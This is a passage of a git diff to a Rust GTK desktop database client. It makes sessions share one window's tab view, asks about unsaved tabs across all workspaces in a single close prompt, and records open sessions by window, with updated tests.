-        let Some(anchor_idx) = anchor_idx else {
-            return;
-        };
-        let mut targets: Vec<adw::TabPage> = Vec::new();
-        for i in (anchor_idx + 1)..pages.n_items() {
-            let Some(page) = pages.item(i).and_downcast::<adw::TabPage>() else {
-                continue;
-            };
-            targets.push(page);
-        }
-        for page in targets {
-            tab_view.close_page(&page);
-        }
-    }
-
     /// A sidebar click never replaces the active tab: AdwTabView's
     /// close animation overlapped the append and flashed both tabs.
     pub(super) fn dispatch_select_table(&mut self, schema: Option<String>, name: String, open_mode: OpenMode) {
@@ -456,16 +411,39 @@ impl WorkspaceModel {
 
 impl WorkspaceModel {
     /// Single handler for `WorkspaceTabsChanged`. Persists tab state,
-    /// refreshes the window title (so tab switches update the subtitle),
-    /// and syncs the sidebar selection to the active Browse tab's table.
+    /// titles the session after its tab in front, and has the tree select
+    /// the row that tab shows.
     pub(super) fn on_workspace_tabs_changed(&self) {
         self.persist_workspace_state();
-        self.refresh_window_title();
+        self.refresh_title();
         self.refresh_transaction_banner();
-        self.sync_sidebar_selection();
+        self.select_in_tree();
         self.report_tabs_changed();
     }
 
+    /// While the session is in front, the tree selects the table or key
+    /// its tab shows, or its connection for any other tab. With no tab
+    /// open no row stays selected: one would say a tab shows it.
+    pub(super) fn select_in_tree(&self) {
+        if !self.is_front() {
+            return;
+        }
+        let Some(tree) = self.shell.upgrade().and_then(|shell| shell.tree()) else {
+            return;
+        };
+        match self.selected_workspace_tab_id() {
+            Some(id) => {
+                let shown = self
+                    .workspace_tabs
+                    .borrow()
+                    .get(&id)
+                    .and_then(WorkspaceTab::sidebar_object);
+                tree.select(Some(&self.key), shown.as_ref());
+            }
+            None => tree.select(None, None),
+        }
+    }
+
     pub(super) fn selected_workspace_tab_id(&self) -> Option<Uuid> {
         self.index.id_of(&self.tab_view.selected_page()?)
     }
@@ -577,60 +555,106 @@ impl WorkspaceModel {
     }
 }
 
-/// The tab view's own signals, as the workspace's inputs. The view and
-/// its tab bar are in the template.
-pub(super) fn connect_tab_view(tab_view: &adw::TabView, index: &Rc<TabIndex>, input: &WorkspaceSender) {
-    keep_child_navigation_keys(tab_view);
-
-    // A tab with unsaved work asks first, so the workspace finishes the close.
+/// The tab view's own signals, as the workspace's inputs. The view is
+/// the shell's, which every session of the window shares, so a session
+/// closes only its own pages and leaves the others to theirs.
+pub(super) fn connect_tab_view(tab_view: &adw::TabView, index: &Rc<TabIndex>, input: &WorkspaceSender) -> TabViewWatch {
+    let leaving: Rc<RefCell<Vec<adw::TabPage>>> = Rc::default();
+    // A tab with unsaved work asks first, so the workspace finishes the
+    // close. A page of a session going away asked with the session.
     let close_input = input.clone();
     let close_index = index.clone();
-    tab_view.connect_close_page(move |_view, page| {
-        if let Some(id) = close_index.id_of(page) {
-            close_input.deliver(WorkspaceInput::WorkspaceTabClosed(id));
+    let close_leaving = leaving.clone();
+    let close = tab_view.connect_close_page(move |view, page| {
+        if close_leaving.borrow().contains(page) {
+            view.close_page_finish(page, true);
+            return glib::Propagation::Stop;
+        }
+        match close_index.id_of(page) {
+            Some(id) => {
+                close_input.deliver(WorkspaceInput::WorkspaceTabClosed(id));
+                glib::Propagation::Stop
+            }
+            None => glib::Propagation::Proceed,
         }
-        glib::Propagation::Stop
     });
 
-    // The view names the right-clicked page only while its menu is
-    // open, so the actions read it from here.
-    let menu_target: Rc<RefCell<Option<adw::TabPage>>> = Rc::new(RefCell::new(None));
-    let menu_target_setup = menu_target.clone();
-    tab_view.connect_setup_menu(move |_view, page| {
-        *menu_target_setup.borrow_mut() = page.cloned();
-    });
-    let action_group = gio::SimpleActionGroup::new();
-    let menu_action = |name: &str, message: fn(Uuid) -> WorkspaceInput| {
-        let action = gio::SimpleAction::new(name, None);
-        let (target, index, input) = (menu_target.clone(), index.clone(), input.clone());
-        action.connect_activate(move |_, _| {
-            let page = target.borrow().clone();
-            if let Some(id) = page.and_then(|page| index.id_of(&page)) {
-                input.deliver(message(id));
-            }
-        });
-        action
-    };
-    action_group.add_action(&menu_action("close-others", WorkspaceInput::CloseOtherWorkspaceTabs));
-    action_group.add_action(&menu_action("close-right", WorkspaceInput::CloseWorkspaceTabsToRight));
-    tab_view.insert_action_group("tab", Some(&action_group));
-
-    let bulk_menu = gio::Menu::new();
-    bulk_menu.append(
-        Some(&crate::i18n::gettext("Close Other Tabs")),
-        Some("tab.close-others"),
-    );
-    bulk_menu.append(
-        Some(&crate::i18n::gettext("Close Tabs to the Right")),
-        Some("tab.close-right"),
-    );
-    tab_view.set_menu_model(Some(&bulk_menu));
-
-    // A drag reorder changes only `pages`, and it has to persist too.
+    // Every session hears the shared view, and only one whose tab came
+    // or left the front, or whose tabs moved, has anything to do.
     let selected_input = input.clone();
-    tab_view.connect_selected_page_notify(move |_| selected_input.deliver(WorkspaceInput::WorkspaceTabsChanged));
-    let pages_input = input.clone();
-    tab_view.connect_pages_notify(move |_| pages_input.deliver(WorkspaceInput::WorkspaceTabsChanged));
+    let selected_index = index.clone();
+    let selected = tab_view.connect_selected_page_notify(move |view| {
+        if selected_index.note_selected(view.selected_page().as_ref()) {
+            selected_input.deliver(WorkspaceInput::WorkspaceTabsChanged);
+        }
+    });
+    // AdwTabView never notifies `pages`, so a drag reorder is heard here.
+    // A tab dropped on the desktop, or sent back from another window,
+    // comes back attached, at another place.
+    let reordered = tab_view.connect_page_reordered(persist_moved(input, index));
+    let attached = tab_view.connect_page_attached(persist_moved(input, index));
+    TabViewWatch {
+        view: tab_view.downgrade(),
+        handlers: vec![close, selected, reordered, attached],
+        leaving,
+    }
+}
+
+/// Save the tab order once one of the session's pages moved.
+fn persist_moved(
+    input: &WorkspaceSender,
+    index: &Rc<TabIndex>,
+) -> impl Fn(&adw::TabView, &adw::TabPage, i32) + 'static {
+    let (input, index) = (input.clone(), index.clone());
+    move |_, page, _| {
+        if index.id_of(page).is_some() {
+            input.deliver(WorkspaceInput::WorkspaceTabsChanged);
+        }
+    }
+}
+
+/// What a session hooked on the shared tab view, which outlives it.
+pub(super) struct TabViewWatch {
+    view: glib::WeakRef<adw::TabView>,
+    handlers: Vec<glib::SignalHandlerId>,
+    leaving: Rc<RefCell<Vec<adw::TabPage>>>,
+}
+
+impl TabViewWatch {
+    /// Stop hearing the view, closing `pages` first when the window
+    /// keeps its other sessions. The session's prompts asked about them
+    /// already, so they close without asking again and without going on
+    /// the closed-tab list, which would discard the drafts its reopen
+    /// restores.
+    pub(super) fn release(self, pages: Vec<adw::TabPage>) {
+        let Some(view) = self.view.upgrade() else {
+            return;
+        };
+        let mut handlers = self.handlers.into_iter();
+        let close = handlers.next();
+        // Its own selection handlers would persist a session going away.
+        for handler in handlers {
+            view.disconnect(handler);
+        }
+        self.leaving.replace(pages.clone());
+        for page in &pages {
+            view.close_page(page);
+        }
+        // A page whose own close prompt is still open was closing
+        // already, and `close_page` passes it by. The view logs a
+        // critical when asked where a page it let go of is.
+        let still_open: Vec<adw::TabPage> = (0..view.n_pages())
+            .map(|position| view.nth_page(position))
+            .filter(|page| pages.contains(page))
+            .collect();
+        for page in &still_open {
+            view.close_page_finish(page, true);
+        }
+        self.leaving.replace(Vec::new());
+        if let Some(close) = close {
+            view.disconnect(close);
+        }
+    }
 }
 
 fn describe_closed_tab(slot: &WorkspaceTab) -> Option<ClosedTabDescriptor> {
@@ -665,25 +689,9 @@ fn describe_closed_tab(slot: &WorkspaceTab) -> Option<ClosedTabDescriptor> {
     }
 }
 
-fn push_closed_tab(
-    stack: &std::rc::Rc<std::cell::RefCell<std::collections::VecDeque<ClosedTabDescriptor>>>,
-    descriptor: ClosedTabDescriptor,
-) {
-    let mut q = stack.borrow_mut();
-    if q.len() == CLOSED_TABS_CAPACITY {
-        q.pop_front();
-    }
-    q.push_back(descriptor);
-}
-
 impl WorkspaceModel {
-    pub(super) fn on_reopen_closed_tab(&mut self) {
-        let descriptor = self.closed_tabs_stack.borrow_mut().pop_back();
-        let Some(descriptor) = descriptor else {
-            // Without a toast the shortcut would read as broken.
-            self.show_toast(&crate::i18n::gettext("No recently closed tab"));
-            return;
-        };
+    /// Open again a tab this session closed, which the shell kept.
+    pub(super) fn on_reopen_closed_tab(&mut self, descriptor: ClosedTabDescriptor) {
         match descriptor {
             ClosedTabDescriptor::Editor { query, file } => {
                 let initial = if query.is_empty() { None } else { Some(query) };
@@ -755,6 +763,7 @@ fn saved_drafts(record: &WorkspaceRecord) -> impl Iterator<Item = DraftId> + '_
 mod tests {
     use gtk4::subclass::prelude::*;
 
+    use super::super::tests::{served_table, shell_of};
     use super::*;
     use crate::test_support::{descendants, drain_main_context, wait_until};
     use crate::ui::SessionWindowInput;
@@ -775,7 +784,10 @@ mod tests {
     fn a_closed_tab_from_the_overview_is_freed() {
         let test = TestWindow::connected("OverviewTabFreed");
         let workspace = test.workspace();
-        let (view, overview) = (workspace.imp().tab_view.get(), workspace.imp().tab_overview.get());
+        let (view, overview) = (
+            shell_of(&workspace).imp().tab_view.get(),
+            shell_of(&workspace).imp().tab_overview.get(),
+        );
 
         overview_new_tab_button(&overview).emit_clicked();
         let page = view.selected_page().expect("the new-tab button made a page");
@@ -824,7 +836,7 @@ mod tests {
     #[gtk4::test]
     fn a_new_editor_tab_takes_the_focus_from_outside_the_tabs() {
         let test = TestWindow::connected("NewEditorFocus");
-        let button = test.workspace().imp().new_tab_button.get();
+        let button = shell_of(&test.workspace()).imp().new_tab_button.get();
         button.grab_focus();
         assert!(button.is_focus(), "the header button holds the focus");
 
@@ -843,7 +855,7 @@ mod tests {
         wait_until(WAIT, || editors(&test.window).len() == 1).expect("an editor tab");
         WidgetExt::activate_action(&test.window, "win.close-current", None).expect("win.close-current");
         wait_until(WAIT, || editors(&test.window).is_empty()).expect("the tab closes");
-        let button = test.workspace().imp().new_tab_button.get();
+        let button = shell_of(&test.workspace()).imp().new_tab_button.get();
         button.grab_focus();
 
         WidgetExt::activate_action(&test.window, "win.reopen-closed-tab", None).expect("win.reopen-closed-tab");
@@ -862,8 +874,8 @@ mod tests {
         }
         wait_until(WAIT, || editors(&test.window).len() == 2).expect("two editor tabs");
         let workspace = test.workspace();
-        let view = workspace.imp().tab_view.downgrade();
-        let overview = workspace.imp().tab_overview.downgrade();
+        let view = shell_of(&workspace).imp().tab_view.downgrade();
+        let overview = shell_of(&workspace).imp().tab_overview.downgrade();
         let pages: Vec<_> = editors(&test.window).iter().map(|editor| editor.downgrade()).collect();
         drop(workspace);
 
@@ -887,7 +899,7 @@ mod tests {
         let test = TestWindow::with_script(
             "RestoreReadsWhenShown",
             crate::ui::session_window::tests::Script {
-                connection: super::super::shell::tests::served_table(),
+                connection: served_table(),
                 ..Default::default()
             },
         );
@@ -917,7 +929,7 @@ mod tests {
             .send(SessionWindowInput::OpenSaved(Box::new(test.saved.clone())));
         test.wait_for_page("workspace");
         let workspace = test.workspace();
-        let view = workspace.imp().tab_view.get();
+        let view = shell_of(&workspace).imp().tab_view.get();
         wait_until(WAIT, || view.n_pages() == 3).expect("the saved tabs");
         let column_reads = || tablepro_test_support::CallCounters::get(&test.connection().counters().fetch_columns);
         let _ = wait_until(WAIT, || column_reads() > 0);
diff --git a/linux/crates/app/src/workspace/close_guard.rs b/linux/crates/app/src/workspace/close_guard.rs
index 90b6009a1c..cd6a682a77 100644
--- a/linux/crates/app/src/workspace/close_guard.rs
+++ b/linux/crates/app/src/workspace/close_guard.rs
@@ -14,71 +14,129 @@ use super::{CloseDecision, CloseScope, CloseStep, DirtyTab, SaveRejection, SaveS
 
 /// Decides whether a tab, or every tab of a window, may close.
 ///
-/// It reads the workspace again after every answer and every settled
+/// It reads the workspaces again after every answer and every settled
 /// save rather than following a plan made up front, so a save that
 /// rolls back is asked about again and one that lands is not.
 pub(crate) struct CloseGuard;
 
 impl CloseGuard {
+    /// `handles` are the workspaces of every session the close covers,
+    /// asked in one pass: each question that is not Save Changes is
+    /// settled for the workspace it is about first, then one Save Changes
+    /// lists the tabs of all of them, so a Cancel there keeps every one.
     /// `acknowledged` holds the tabs whose open transactions or file
     /// changes the user already agreed to lose, and gains the ones
     /// agreed to here.
     pub(crate) async fn run(
         parent: &gtk::Widget,
-        handle: &WorkspaceHandle,
+        handles: &[WorkspaceHandle],
         scope: CloseScope,
         acknowledged: &mut HashSet<Uuid>,
     ) -> CloseDecision {
-        let _asking = handle.claim_for_prompt(scope);
+        let _asking: Vec<_> = handles.iter().map(|handle| handle.claim_for_prompt(scope)).collect();
         loop {
-            match handle.close_step(scope, acknowledged) {
-                CloseStep::Approve => return CloseDecision::Approved,
-                CloseStep::StopBlocker { blocker, prompt } => {
-                    if !ask_stop(parent, &prompt).await {
-                        return CloseDecision::Cancelled;
+            let mut unsaved: Vec<(&WorkspaceHandle, Vec<DirtyTab>)> = Vec::new();
+            let mut next = None;
+            for handle in handles {
+                match handle.close_step(scope, acknowledged) {
+                    CloseStep::Approve => {}
+                    CloseStep::AskSaveChanges(tabs) => unsaved.push((handle, tabs)),
+                    step => {
+                        next = Some((handle, step));
+                        break;
                     }
-                    handle.stop_blocker(blocker).await;
                 }
-                CloseStep::WaitForSaves => {
-                    if !wait_for_saves(parent, handle, scope).await {
-                        return CloseDecision::Cancelled;
-                    }
+            }
+            if let Some((handle, step)) = next {
+                if !settle_step(parent, handle, scope, step, acknowledged).await {
+                    return CloseDecision::Cancelled;
                 }
-                CloseStep::ResolveUnknownOutcome(tabs) => match resolve_unknown_outcome(parent, &tabs).await {
-                    UnknownChoice::KeepOpen => return CloseDecision::Cancelled,
-                    UnknownChoice::Reload => {
-                        handle.discard(&ids(&tabs), true);
-                        return CloseDecision::Cancelled;
-                    }
-                    UnknownChoice::Discard => handle.discard(&ids(&tabs), false),
-                },
-                CloseStep::ConfirmOpenTransactions(tabs) => {
-                    if !confirm_open_transactions(parent, &tabs).await {
-                        return CloseDecision::Cancelled;
-                    }
-                    acknowledged.extend(ids(&tabs));
+                continue;
+            }
+            if unsaved.is_empty() {
+                return CloseDecision::Approved;
+            }
+            let tabs: Vec<DirtyTab> = unsaved.iter().flat_map(|(_, tabs)| tabs.iter().cloned()).collect();
+            let (save, discard) = match ask_save_changes(parent, &tabs).await {
+                SaveChoice::Cancel => return CloseDecision::Cancelled,
+                SaveChoice::Proceed { save, discard } => (save, discard),
+            };
+            for (handle, theirs) in &unsaved {
+                let dropped = of_tabs(&discard, theirs);
+                handle.discard(&dropped, false);
+                // A file's text has no tracker to clear: it goes with the
+                // tab, once the user agreed to that.
+                acknowledged.extend(dropped);
+            }
+            let mut refused = Vec::new();
+            let mut declined = false;
+            for (handle, theirs) in &unsaved {
+                let (not_started, review_declined) = start_saves(parent, handle, &of_tabs(&save, theirs)).await;
+                refused.extend(not_started);
+                if review_declined {
+                    declined = true;
+                    break;
                 }
-                CloseStep::AskSaveChanges(tabs) => match ask_save_changes(parent, &tabs).await {
-                    SaveChoice::Cancel => return CloseDecision::Cancelled,
-                    SaveChoice::Proceed { save, discard } => {
-                        handle.discard(&discard, false);
-                        // A file's text has no tracker to clear: it goes
-                        // with the tab, once the user agreed to that.
-                        acknowledged.extend(discard.iter().copied());
-                        let (refused, declined) = start_saves(parent, handle, &save).await;
-                        if !refused.is_empty() {
-                            show_refused(parent, &tabs, &refused);
-                        }
-                        if declined || !refused.is_empty() {
-                            return CloseDecision::Cancelled;
-                        }
-                    }
-                },
             }
+            if !refused.is_empty() {
+                show_refused(parent, &tabs, &refused);
+            }
+            if declined || !refused.is_empty() {
+                return CloseDecision::Cancelled;
+            }
+        }
+    }
+}
+
+/// Settle one question that is not Save Changes for `handle`. False when
+/// the user kept the close from going ahead.
+async fn settle_step(
+    parent: &gtk::Widget,
+    handle: &WorkspaceHandle,
+    scope: CloseScope,
+    step: CloseStep,
+    acknowledged: &mut HashSet<Uuid>,
+) -> bool {
+    match step {
+        CloseStep::Approve | CloseStep::AskSaveChanges(_) => true,
+        CloseStep::StopBlocker { blocker, prompt } => {
+            if !ask_stop(parent, &prompt).await {
+                return false;
+            }
+            handle.stop_blocker(blocker).await;
+            true
+        }
+        CloseStep::WaitForSaves => wait_for_saves(parent, handle, scope).await,
+        CloseStep::ResolveUnknownOutcome(tabs) => match resolve_unknown_outcome(parent, &tabs).await {
+            UnknownChoice::KeepOpen => false,
+            UnknownChoice::Reload => {
+                handle.discard(&ids(&tabs), true);
+                false
+            }
+            UnknownChoice::Discard => {
+                handle.discard(&ids(&tabs), false);
+                true
+            }
+        },
+        CloseStep::ConfirmOpenTransactions(tabs) => {
+            if !confirm_open_transactions(parent, &tabs).await {
+                return false;
+            }
+            acknowledged.extend(ids(&tabs));
+            true
         }
     }
 }
 
+/// The tabs of `chosen` that are among `theirs`.
+fn of_tabs(chosen: &[Uuid], theirs: &[DirtyTab]) -> Vec<Uuid> {
+    chosen
+        .iter()
+        .copied()
+        .filter(|id| theirs.iter().any(|tab| tab.id == *id))
+        .collect()
+}
+
 /// Start each save in turn, and give back the ones refused and whether
 /// the user declined a review. A declined review is the user keeping the
 /// window open, not a save that failed, so the saves after it are not
@@ -150,7 +208,7 @@ mod tests {
         let parent = window.clone().upcast::<gtk::Widget>();
         let handle = handle.clone();
         gtk::glib::spawn_future_local(async move {
-            let decided = CloseGuard::run(&parent, &handle, scope, &mut HashSet::new()).await;
+            let decided = CloseGuard::run(&parent, std::slice::from_ref(&handle), scope, &mut HashSet::new()).await;
             sink.replace(Some(decided));
         });
         decision
diff --git a/linux/crates/app/src/workspace/close_guards.rs b/linux/crates/app/src/workspace/close_guards.rs
index 00e00ec4f3..eae7124e5b 100644
--- a/linux/crates/app/src/workspace/close_guards.rs
+++ b/linux/crates/app/src/workspace/close_guards.rs
@@ -53,31 +53,30 @@ impl CloseGuards {
     async fn run(
         &self,
         parent: &gtk::Widget,
-        handle: &WorkspaceHandle,
+        handles: &[WorkspaceHandle],
         scope: CloseScope,
         acknowledged: &mut HashSet<Uuid>,
     ) -> CloseDecision {
         let _turn = self.turn.lock().await;
-        CloseGuard::run(parent, handle, scope, acknowledged).await
+        CloseGuard::run(parent, handles, scope, acknowledged).await
     }
 
     /// The window closes only once its prompts approve; `on_close` runs
     /// as it does. A close request while they decide is dropped, since
-    /// their dialog is already on screen. `handle` gives the workspace
-    /// the window shows at the time, and a window with none closes at
-    /// once.
+    /// their dialog is already on screen. `handles` gives the workspace
+    /// of each session the window holds at the time, all asked in one
+    /// pass, so nothing is saved or discarded until every one agreed, and
+    /// a window with none closes at once.
     pub(crate) fn connect_window<W: IsA<gtk::Window>>(
         self: &Rc<Self>,
         window: &W,
-        handle: impl Fn() -> Option<WorkspaceHandle> + 'static,
+        handles: impl Fn() -> Vec<WorkspaceHandle> + 'static,
         on_close: impl Fn(&W) + 'static,
     ) {
         let guards = self.clone();
         window.connect_close_request(move |window| {
             guards.requests.set(guards.requests.get() + 1);
-            if let Some(handle) = handle()
-                && !guards.window_may_close(window.upcast_ref(), &handle)
-            {
+            if !guards.window_may_close(window.upcast_ref(), handles()) {
                 return glib::Propagation::Stop;
             }
             on_close(window);
@@ -113,20 +112,23 @@ impl CloseGuards {
         }
     }
 
-    fn window_may_close(self: &Rc<Self>, window: &gtk::Window, handle: &WorkspaceHandle) -> bool {
+    fn window_may_close(self: &Rc<Self>, window: &gtk::Window, handles: Vec<WorkspaceHandle>) -> bool {
         match self.window.get() {
             WindowClose::Asking => return false,
             WindowClose::Approved => return true,
             WindowClose::Open => {}
         }
-        if handle.close_step(CloseScope::Window, &HashSet::new()) == CloseStep::Approve {
+        if handles
+            .iter()
+            .all(|handle| handle.close_step(CloseScope::Window, &HashSet::new()) == CloseStep::Approve)
+        {
             return true;
         }
         self.window.set(WindowClose::Asking);
-        let (guards, handle, window) = (self.clone(), handle.clone(), window.clone());
+        let (guards, window) = (self.clone(), window.clone());
         glib::spawn_future_local(async move {
             let decision = guards
-                .run(window.upcast_ref(), &handle, CloseScope::Window, &mut HashSet::new())
+                .run(window.upcast_ref(), &handles, CloseScope::Window, &mut HashSet::new())
                 .await;
             match decision {
                 CloseDecision::Approved => {
@@ -156,7 +158,12 @@ impl CloseGuards {
         let (guards, handle, parent) = (self.clone(), handle.clone(), parent.clone());
         glib::spawn_future_local(async move {
             let decision = guards
-                .run(&parent, &handle, CloseScope::Tab(tab), &mut HashSet::new())
+                .run(
+                    &parent,
+                    std::slice::from_ref(&handle),
+                    CloseScope::Tab(tab),
+                    &mut HashSet::new(),
+                )
                 .await;
             decided(decision);
         });
@@ -184,7 +191,12 @@ impl CloseGuards {
         glib::spawn_future_local(async move {
             let mut acknowledged = guards.teardown_acknowledged.borrow().clone();
             let decision = guards
-                .run(&parent, &handle, CloseScope::Window, &mut acknowledged)
+                .run(
+                    &parent,
+                    std::slice::from_ref(&handle),
+                    CloseScope::Window,
+                    &mut acknowledged,
+                )
                 .await;
             if decision == CloseDecision::Approved {
                 guards.teardown_acknowledged.replace(acknowledged);
@@ -205,6 +217,7 @@ mod tests {
     use crate::services::change_tracker::RowKey;
     use crate::services::tracker_edit::TrackerEdit;
     use crate::test_support::{OwnedWindow, drain_main_context, wait_until};
+    use crate::workspace::PendingState;
     use crate::workspace::dialog_response::{answer, visible_alert};
     use crate::workspace::test_workspace::{WAIT, Workspace};
 
@@ -225,7 +238,7 @@ mod tests {
         let handle = workspace.handle.clone();
         guards.connect_window(
             &*window,
-            move || Some(handle.clone()),
+            move || vec![handle.clone()],
             move |_| sink.set(sink.get() + 1),
         );
         (window, closes)
@@ -278,13 +291,51 @@ mod tests {
         assert!(visible_alert(&window).is_none());
     }
 
+    /// A window of two sessions asks once about both, and saves or
+    /// discards nothing until that answer.
+    #[gtk4::test]
+    fn one_save_changes_covers_every_workspace_and_cancel_keeps_them_all() {
+        let (first, second) = (
+            Workspace::open(ConnectionScript::default()),
+            Workspace::open(ConnectionScript::default()),
+        );
+        let guards = CloseGuards::new();
+        let window = window();
+        let closes = Rc::new(Cell::new(0));
+        let sink = closes.clone();
+        let handles = [first.handle.clone(), second.handle.clone()];
+        guards.connect_window(&*window, move || handles.to_vec(), move |_| sink.set(sink.get() + 1));
+
+        window.close();
+        let kept = answer_next(&window, "Save Changes?", "cancel", None);
+        wait_until(WAIT, || guards.window.get() == WindowClose::Open).expect("the close to be dropped");
+
+        assert_eq!(
+            kept.response_label("discard").as_str(),
+            "_Discard All",
+            "the prompt did not list both tabs"
+        );
+        assert_eq!(closes.get(), 0);
+        assert_eq!(first.tracker.pending_state(), PendingState::Unsaved);
+        assert_eq!(second.tracker.pending_state(), PendingState::Unsaved);
+
+        window.close();
+        answer_next(&window, "Save Changes?", "discard", Some(&kept));
+        wait_until(WAIT, || closes.get() == 1).expect("the approved close to go through");
+        drain_main_context();
+
+        assert_eq!(closes.get(), 1);
+        assert_eq!(first.tracker.pending_state(), PendingState::Clean);
+        assert_eq!(second.tracker.pending_state(), PendingState::Clean);
+    }
+
     #[gtk4::test]
     fn a_window_with_no_workspace_closes_without_asking() {
         let guards = CloseGuards::new();
         let window = window();
         let closes = Rc::new(Cell::new(0));
         let sink = closes.clone();
-        guards.connect_window(&*window, || None, move |_| sink.set(sink.get() + 1));
+        guards.connect_window(&*window, Vec::new, move |_| sink.set(sink.get() + 1));
 
         window.close();
 
diff --git a/linux/crates/app/src/workspace/open_sessions.rs b/linux/crates/app/src/workspace/open_sessions.rs
index eed75ed3d0..fb480ba74c 100644
--- a/linux/crates/app/src/workspace/open_sessions.rs
+++ b/linux/crates/app/src/workspace/open_sessions.rs
@@ -18,10 +18,21 @@ pub struct OpenSessions {
     /// Each write keeps the process up until it lands, since closing the
     /// last window would otherwise end it, and the writer with it.
     hold: Rc<dyn ProcessHold>,
-    keys: RefCell<Vec<SessionKey>>,
+    keys: RefCell<Vec<(SessionKey, Holder)>>,
     frozen: Cell<bool>,
 }
 
+/// Which window a key belongs to, so the record groups the keys the way
+/// the windows held them.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+enum Holder {
+    Window(u32),
+    /// A recorded window's keys, by their place in the record, until the
+    /// window that reopens them is known. Window ids restart with each
+    /// launch, so no recorded one can stand in for it.
+    Restoring(usize),
+}
+
 impl OpenSessions {
     pub fn new(store: WorkspaceStore, hold: Rc<dyn ProcessHold>) -> Rc<Self> {
         Rc::new(Self {
@@ -37,14 +48,20 @@ impl OpenSessions {
     }
 
     /// Take the recorded keys as open, ahead of any opened since launch,
-    /// and return the ones to reopen. Each restored window removes its
-    /// key again if it cannot open it.
-    pub fn restore(&self, record: OpenSessionsRecord) -> Vec<SessionKey> {
-        let restored = record.keys();
+    /// and return them by window, for each group to reopen in a window of
+    /// its own. Each restored window removes a key again if it cannot
+    /// open it.
+    pub fn restore(&self, record: OpenSessionsRecord) -> Vec<Vec<SessionKey>> {
+        let restored = record.windows();
         let opened_since = {
             let mut keys = self.keys.borrow_mut();
-            let opened_since: Vec<SessionKey> = keys.drain(..).filter(|key| !restored.contains(key)).collect();
-            keys.extend(restored.iter().cloned());
+            let opened_since: Vec<(SessionKey, Holder)> = keys
+                .drain(..)
+                .filter(|(key, _)| !restored.iter().flatten().any(|recorded| recorded == key))
+                .collect();
+            for (place, window) in restored.iter().enumerate() {
+                keys.extend(window.iter().map(|key| (key.clone(), Holder::Restoring(place))));
+            }
             keys.extend(opened_since.iter().cloned());
             opened_since
         };
@@ -54,17 +71,48 @@ impl OpenSessions {
         restored
     }
 
-    pub fn add(&self, key: SessionKey) {
+    /// Record that `window` holds `key`. A key already open moves to
+    /// `window`, as a restored key does once its window opens.
+    pub fn add(&self, key: SessionKey, window: u32) {
         {
             let mut keys = self.keys.borrow_mut();
-            if keys.contains(&key) {
-                return;
+            let holder = Holder::Window(window);
+            match keys.iter().position(|(kept, _)| kept == &key) {
+                Some(at) if keys[at].1 == holder => return,
+                // A restored key keeps its place in the recorded window.
+                Some(at) if matches!(keys[at].1, Holder::Restoring(_)) => keys[at].1 = holder,
+                // A key another window gave up is adopted here now, after
+                // the keys this window already holds.
+                Some(at) => {
+                    keys.remove(at);
+                    keys.push((key, holder));
+                }
+                None => keys.push((key, holder)),
             }
-            keys.push(key);
         }
         self.write();
     }
 
+    /// Give the window that reopens a recorded group the keys of that
+    /// group it still holds. Unlike `add`, a key the window already
+    /// removed, because it could not open it, stays removed.
+    pub fn assign(&self, keys: &[SessionKey], window: u32) {
+        let changed = {
+            let mut held = self.keys.borrow_mut();
+            let mut changed = false;
+            for (key, holder) in held.iter_mut() {
+                if keys.contains(key) && *holder != Holder::Window(window) {
+                    *holder = Holder::Window(window);
+                    changed = true;
+                }
+            }
+            changed
+        };
+        if changed {
+            self.write();
+        }
+    }
+
     /// Ignored while a quit runs: the windows it closes are the ones the
     /// next launch reopens.
     pub fn remove(&self, key: &SessionKey) {
@@ -74,7 +122,7 @@ impl OpenSessions {
         {
             let mut keys = self.keys.borrow_mut();
             let before = keys.len();
-            keys.retain(|kept| kept != key);
+            keys.retain(|(kept, _)| kept != key);
             if keys.len() == before {
                 return;
             }
@@ -91,7 +139,7 @@ impl OpenSessions {
     /// Keep the keys `live` still names, after a quit the user cancelled
     /// partway, and start removing keys again.
     pub fn thaw(&self, live: impl Fn(&SessionKey) -> bool) {
-        self.keys.borrow_mut().retain(|key| live(key));
+        self.keys.borrow_mut().retain(|(key, _)| live(key));
         self.frozen.set(false);
         self.write();
     }
@@ -126,11 +174,21 @@ impl OpenSessions {
 
     #[cfg(test)]
     pub(crate) fn keys(&self) -> Vec<SessionKey> {
-        self.keys.borrow().clone()
+        self.keys.borrow().iter().map(|(key, _)| key.clone()).collect()
     }
 
+    /// Windows in the order their first key came, keys in the order each
+    /// came.
     fn record(&self) -> OpenSessionsRecord {
-        OpenSessionsRecord::from_keys(self.keys.borrow().iter())
+        let keys = self.keys.borrow();
+        let mut windows: Vec<(Holder, Vec<&SessionKey>)> = Vec::new();
+        for (key, holder) in keys.iter() {
+            match windows.iter_mut().find(|(kept, _)| kept == holder) {
+                Some((_, window)) => window.push(key),
+                None => windows.push((*holder, vec![key])),
+            }
+        }
+        OpenSessionsRecord::from_windows(windows.into_iter().map(|(_, window)| window))
     }
 
     fn write(&self) {
@@ -198,12 +256,17 @@ mod tests {
 
         /// The keys on disk once every write has landed.
         fn on_disk(&self) -> Vec<SessionKey> {
+            self.windows_on_disk().into_iter().flatten().collect()
+        }
+
+        /// The keys on disk by window, once every write has landed.
+        fn windows_on_disk(&self) -> Vec<Vec<SessionKey>> {
             wait_until(WAIT, || self.hold.live() == 0).expect("the writes to land");
             let path = self.path();
             let bytes = std::fs::read(&path).expect("the record was written");
             decode_document::<OpenSessionsRecord>(Path::new(&path), &bytes)
                 .expect("a record")
-                .keys()
+                .windows()
         }
     }
 
@@ -224,9 +287,9 @@ mod tests {
         let fixture = Fixture::new();
         let (first, second) = (saved(), SessionKey::File("file:///srv/app.db".to_owned()));
 
-        fixture.sessions.add(first.clone());
-        fixture.sessions.add(second.clone());
-        fixture.sessions.add(first.clone());
+        fixture.sessions.add(first.clone(), 1);
+        fixture.sessions.add(second.clone(), 1);
+        fixture.sessions.add(first.clone(), 1);
 
         assert_eq!(fixture.sessions.keys(), [first.clone(), second.clone()]);
         assert_eq!(fixture.on_disk(), [first, second]);
@@ -236,7 +299,7 @@ mod tests {
     fn a_write_holds_the_process_until_it_lands() {
         let fixture = Fixture::new();
 
-        fixture.sessions.add(saved());
+        fixture.sessions.add(saved(), 1);
 
         assert!(fixture.hold.live() > 0, "the write started without holding the process");
         wait_until(WAIT, || fixture.hold.live() == 0).expect("the hold to end");
@@ -247,8 +310,8 @@ mod tests {
     fn quit_freeze_keeps_keys_window_close_removes() {
         let fixture = Fixture::new();
         let (closed, kept) = (saved(), saved());
-        fixture.sessions.add(closed.clone());
-        fixture.sessions.add(kept.clone());
